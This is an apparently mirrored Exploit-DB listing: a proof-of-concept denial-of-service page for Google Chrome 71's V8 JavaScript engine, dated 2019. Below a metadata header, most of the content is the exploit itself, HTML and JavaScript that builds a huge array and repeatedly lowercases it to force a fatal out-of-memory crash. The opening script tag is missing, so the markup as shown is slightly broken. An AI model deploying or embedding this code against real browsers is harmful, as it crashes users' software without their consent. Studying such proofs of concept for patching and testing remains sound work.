Google Chrome V8 JavaScript Engine 71.0.3578.98 – Out-of-Memory. Denial of Service (PoC) - 体验盒子

作者： Bogdan Kurinnoy

日期： 2019-01-09

类别：

dos

平台：

multiple

来源：https://www.exploit-db.com/exploits/46099/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

<!--

# Exploit Title: Google Chrome 71.0.3578.98 V8 JavaScript Engine - Out-of-memory. Denial of Service (PoC)

# Google Dork: N/A

# Date: 2018-12-23

# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)

# Vendor Homepage: https://www.google.com/

# Version: Google Chrome 71.0.3578.98, V8 version 7.3.0 (candidate)

# Tested on: Windows x64

# CVE : N/A

# Description:

# Fatal javascript OOM in CALL_AND_RETRY_LAST

# https://bugs.chromium.org/p/chromium/issues/detail?id=917631

-->

<html>

<head>

function main() {

var vArr = new Array();

var bigArray = new Array(0x20000000);

vArr[0] = String.prototype.toLowerCase.call(bigArray);

vArr[1] = String.prototype.toLowerCase.call(bigArray);

vArr[2] = String.prototype.toLowerCase.call(bigArray);

}

</script>

</head>

</html>